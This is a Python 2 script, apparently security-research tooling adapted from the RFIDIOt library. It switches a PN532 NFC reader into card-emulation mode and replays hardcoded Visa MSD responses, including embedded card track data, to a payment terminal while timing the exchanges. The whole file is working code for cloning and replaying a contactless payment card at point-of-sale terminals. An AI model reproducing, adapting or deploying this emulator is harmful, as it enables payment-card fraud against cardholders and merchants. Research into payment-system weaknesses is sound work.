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NFCopy.py
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NFCopy.py
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#!/usr/bin/python
#
# Modified by Salvador Mendoza (salmg.net)
# Visa MSD Beta version with APDU delay tracker
# Requieres RFIDIOt Library: https://github.com/AdamLaurie/RFIDIOt
# Original Code: https://github.com/AdamLaurie/RFIDIOt/blob/master/pn532emulate.py
#
# This code modification follows the original disclaimer:
# ----
#
# pn532emulate.py - switch NXP PN532 reader chip into TAG emulation mode
#
# Adam Laurie <[email protected]>
# http://rfidiot.org/
#
# This code is copyright (c) Adam Laurie, 2009, All rights reserved.
# For non-commercial use only, the following terms apply - for all other
# uses, please contact the author:
#
# This code is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This code is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
import rfidiot
from rfidiot.pn532 import *
import sys
import os
from time import sleep, time
try:
card= rfidiot.card
except:
os._exit(True)
card.info('pn532emulate v0.1d')
if not card.readersubtype == card.READER_ACS:
print ' Reader type not supported!'
os._exit(True)
# switch off auto-polling (for ACS v1 firmware only) (doesn't seem to help anyway!)
#if not card.acs_send_apdu(card.PCSC_APDU['ACS_DISABLE_AUTO_POLL']):
# print ' Could not disable auto-polling'
# os._exit(True)
if card.acs_send_apdu(PN532_APDU['GET_PN532_FIRMWARE']):
#print ' NXP PN532 Firmware:'
pn532_print_firmware(card.data)
if card.acs_send_apdu(PN532_APDU['GET_GENERAL_STATUS']):
pn532_print_status(card.data)
mode = '00'
sens_res = '0800'
uid = 'dc4420'
sel_res = '60'
felica = '01fea2a3a4a5a6a7c0c1c2c3c4c5c6c7ffff'
nfcid = 'aa998877665544332211'
last6 = '00'
last7 = '52464944494f7420504e353332'
MSDdata = '4006884501025442d24092010339000037556f'
try:
lengt= ['%02x' % (len(last6) / 2)]
gt= [last6]
except:
lengt= ['00']
gt= ['']
try:
lentk= ['%02x' % (len(last7) / 2)]
tk= [last7]
except:
lentk= ['00']
tk= ['']
#print ' Waiting for activation...'
card.acs_send_apdu(card.PCSC_APDU['ACS_LED_RED'])
status= card.acs_send_apdu(PN532_APDU['TG_INIT_AS_TARGET']+[mode]+[sens_res]+[uid]+[sel_res]+[felica]+[nfcid]+lengt+gt+lentk+tk)
#print status
if not status or not card.data[:4] == 'D58D':
#print 'Target Init failed:', card.errorcode
os._exit(True)
mode= int(card.data[4:6],16)
baudrate= mode & 0x70
class color:
PURPLE = '\033[95m'
CYAN = '\033[96m'
DARKCYAN = '\033[36m'
BLUE = '\033[94m'
GREEN = '\033[92m'
YELLOW = '\033[93m'
RED = '\033[91m'
BOLD = '\033[1m'
UNDERLINE = '\033[4m'
END = '\033[0m'
"""print ' Emulator activated:'
print ' UID: 08%s' % uid[0]
print ' Baudrate:', PN532_BAUDRATES[baudrate]
print ' Mode:',
if mode & 0x08:
print 'ISO/IEC 14443-4 PICC'
if mode & 0x04:
print 'DEP'
framing= mode & 0x03
print ' Framing:', PN532_FRAMING[framing]
print ' Initiator:', card.data[6:]
print
"""
print ' Waiting for a PoS/Terminal/ or something to make a payment...'
status= card.acs_send_apdu(PN532_APDU['TG_GET_DATA'])
if not status or not card.data[:4] == 'D587':
print 'Target Get Data failed:', card.errorcode
print 'Data:',card.data
os._exit(True)
errorcode= int(card.data[4:6],16)
if not errorcode == 0x00:
print 'Error:',PN532_ERRORS[errorcode]
os._exit(True)
VISAMSD= [
'6F23840E325041592E5359532E4444463031A511BF0C0E610C4F07A00000000310108701019000',
'6F1E8407A0000000031010A513500B56495341204352454449549F38039F66029000',
'80060080080101009000',
'70155713' + MSDdata +'9000'
]
start_time = time()
after_apdu = 0
a = 0
while(a<7):
terminal = card.data[6:]
print 'Terminal: ', terminal
if terminal == '00A404000E325041592E5359532E444446303100':
sendd = VISAMSD[0]
elif terminal == '00A4040007A000000003101000':
sendd = VISAMSD[1]
elif '80A80000048' in terminal:
sendd = VISAMSD[2]
elif '00B2' in terminal:
sendd = VISAMSD[3]
else:
sendd = '6f00'
print 'Card:', sendd, '\n----------'
status= card.acs_send_apdu(PN532_APDU['TG_SET_DATA']+[sendd])
status2= card.acs_send_apdu(PN532_APDU['TG_GET_DATA'])
if after_apdu == 0:
after_apdu = (time() - start_time)
else:
after_apdu += (time() - (after_apdu+start_time))
print color.RED + "Delay since last APDU: " + color.END + color.BOLD,
print("%s" % (after_apdu))
print color.END
a+=1
sleep(0.2)
if not status:
os._exit(True)
else:
os._exit(False)